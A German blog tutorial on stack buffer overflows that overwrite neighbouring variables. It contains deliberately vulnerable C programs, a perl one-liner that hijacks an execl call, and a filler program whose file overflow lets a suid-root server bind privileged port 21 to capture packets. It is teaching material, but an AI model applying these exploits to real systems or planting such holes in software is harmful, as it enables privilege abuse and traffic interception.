Samstag, 9. April 2011

Advanced Stack-Bufferoverflows

Dieses Tutorial behandelt die Problematik von dem begrenzten Überschreiben von Variablen.
Jeder kennt die 0815 Overflows wie: strcpy(text, argv[1]) ….. LANGWEILIG!
Doch was bleibt uns übrig wenn man zwar aus dem Speicherbereich der
ursprünglichen Variable “ausbrechen” kann, aber nicht bis zur RET kommt sondern nur andere Variablen die im weiteren Programmablauf genutzt werden
überschreiben kann?
tutorial[1] – Praktische Erklärung anhand eines komplett beknackten Beispiels ;D
#include <stdio.h>
  #include <string.h>
  #include <unistd.h>
 
  int main (int argc, char **argv){
   char h [] = "/bin/uname";
   char text[100];
 
   if(argc > 1)
    strncpy(text, argv[1], 110);
   printf("%s\n", h);
   execl (h,h, (char *)0);
   return 0;
  }
Hier ist es ganz offensichtlich: Wir können h mit 10 Bytes überschreiben.
h wird im nachhinein als Argument für execl benutz was für uns aüßerst
attraktiv ist. Hier ein kleiner und selbsterklärender Exploit-Log:
./test `perl -e 'printf "a"x110'`
aaaaaaaaaa
./test `perl -e 'printf "a"x100 . "/bin/ls\x00"'`
[LIST DIRECTORY EXECUTED]
Somit konnten wir das Überschreiben von unseren programmeigenen Variablen
erfolgreich auszunutzen.
tutorial[2] – Praktische Erklärung anhand eines komplett beknackten und
umfangreicherem Beispiel ;D
Folgendes Szenario: Wir sind auf einer Linux user-shell gelandet.
Wir haben keine Root Rechte finden allerdings ein suid-root Programm
+ Quellcode.
#include <stdio.h>
  #include <string.h>
  #include <stdlib.h>
  #include <sys/types.h>
  #include <sys/socket.h>
  #include <netinet/in.h>
  #include <arpa/inet.h>
  #include <strings.h>
 
  int main(int argc, char **argv) {
   int s,c, i;
   socklen_t addr_len;
   struct sockaddr_in addr;
   char file_line[60];
   char recvb[1024];
   s = socket(AF_INET, SOCK_STREAM, 0);
   if(atoi(argv[1]) < 1024)
    return 1338;
   addr.sin_addr.s_addr = INADDR_ANY;
   addr.sin_port = htons(atoi(argv[1]));
   addr.sin_family = AF_INET;
 
   FILE *fp = fopen("prefs.cfg", "r");
   for(i = 0; i < 65; i++)
    file_line[i] = getc(fp);
   fclose(fp);
 
   bind(s, (struct sockaddr*)&addr, sizeof(addr));
 
   listen(s, 3);
 
   addr_len = sizeof(addr);
   for(;;){
    c = accept(s, (struct sockaddr*)&addr, &addr_len);
    recv(c, recvb, sizeof(recvb), 0);
    printf("%s\n", recvb);
    close(c);
   }
   close(s);
   return 0;
  }
Wie der Linuxgelehrte Leser sicher weiß, darf nur der Rootuser auf den Ports die
kleiner sind als 1024 lauschen. Dies wollen wir umgehen und mit unserem
Programm Packete ergaunern die auf schützenswerten Ports geschickt werden.
Wer das Programm selbst Exploiten möchten sollte hier aufhören zu lesen,
viel Glück!
Für alle anderen Schwachmaten:
....
  struct sockaddr_in addr;
  char file_line[60];
  ....
  FILE *fp = fopen("prefs.cfg", "r");
  for(i = 0; i < ---->65<-----; i++)
    file_line[i] = getc(fp);
  fclose(fp);
Klingelts? Wir können die ersten vier Bytes von sockaddr_in addr überschreiben
indem wir die Datei prefs.cfg mit 65 Bytes füllen (Wir können gottseidank Nullbytes
verwenden).
Was nützt uns das?
...
  addr.sin_addr.s_addr = INADDR_ANY;
 --->>addr.sin_port = htons(atoi(argv[1]));
 addr.sin_family = AF_INET;
  ...
In addr stehen alle wichtigen Daten zur Verbindung für den Server.
Somit auch der Port! Nun müssen wir herausfinden wie diese vier Bytes
aussehen wenn wir z.b auf Port 21 lauschen wollen.
Dazu schreiben wir uns ein kleines Hilfprogramm welches wir Lokal ausführen:
#include <string.h>
  #include <stdio.h>
  #include <sys/types.h>
  #include <sys/socket.h>
  #include <netinet/in.h>
  #include <arpa/inet.h>
  int main () {
   struct sockaddr_in addr;
   memset(&addr, 0x0, sizeof(addr));
   addr.sin_addr.s_addr = INADDR_ANY;
   addr.sin_port = htons(21);
   addr.sin_family = AF_INET;
   printf("%x\n", addr);
   return 0;
  }
Dies gibt aus: 0×15000002
Das bedeutet: 0×1500 = Rückgabe von htons()
0×00 = Irgendwie zwingend vielleicht noch ein anderer Sinn.
0×02 = Die sin_family.
Somit brauchen wir uns nur noch ein Programm schreiben was uns die
pref.cfg entsprechend füllt und unser Victim starten.
#include <stdio.h>
  #include <string.h>
 
  int main (){
   char buffer[66];
   memset(buffer, 'a', 64);
    buffer[60] = 0x02;
   buffer[61] = 0x00;
   buffer[62] = 0x00;
   buffer[63] = 0x15;
   FILE *fp = fopen("prefs.cfg", "w");
   int i;
   for(i = 0; i < 65; i++)
    putc(buffer[i], fp);
   fclose(fp);
  }
Hier unser finaler Log:
./filler
  ./victim 5555
  [PACKETE AUF PORT 21]
Ich hoffe dieser wichtige Abschnitt war verständlich.

~fred

Keine Kommentare:

Kommentar veröffentlichen